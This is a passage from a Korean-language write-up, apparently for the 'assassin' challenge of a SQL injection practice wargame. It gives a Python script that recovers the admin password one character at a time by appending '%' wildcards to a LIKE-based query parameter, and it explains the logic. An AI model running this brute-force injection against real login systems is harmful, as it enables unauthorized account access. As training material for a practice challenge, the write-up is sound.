_ 8개를 사용했을때 나왔으므로 글자는 8글자임을 알 수 있고, 질의 결과 guest가 admin보다 위에 존재한다는 것을 유추할 수 있다.
import requests
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "uoaqqo49al5a3l6baodafl6edv"}
length = 8
apw=""
for i in range(1, length + 1):
for j in range(48,123):
if chr(j)!="_":
req = url+f"?pw={apw+chr(j)}%"
res = requests.get(req,cookies=cookies)
if "Hello admin" in res.text:
print("admin :",chr(j))
apw += chr(j)
break
elif "Hello guest" in res.text:
print("guest :",chr(j))
gpw = chr(j)
if j==122:
apw += gpw
print(apw)
우선 글자를 비교할때 뒤에 %를 붙여서 어떤 문자로 시작하는지 알아냈다.admin과 guest가 동일한 글자를 가졌을 경우도 존재한다, 아까 문자열을 확인할때 참일경우 guest가 먼저 나타난 것을 확인할 수 있었다. 따라서 같은 문자를 가졌을때 admin이 아닌 guest가 나타날 수 있다는 말이다.그러므로 우리는 guest가 출력이 되도 바로 pw에 추가하는 것이 아닌 우리가 지정한 문자열의 범위를 전부 검사해도 admin이 없을 경우 그 부분의 admin과 guest의 pw가 같다고 판단하여 apw에 추가한다.
처음 나타나는 if문에서 _ 이 아닐경우만 조회하는 이유는 _는 한가지의 문자를 대체하므로 정확한 pw를 알 수 없기에 제외하였다.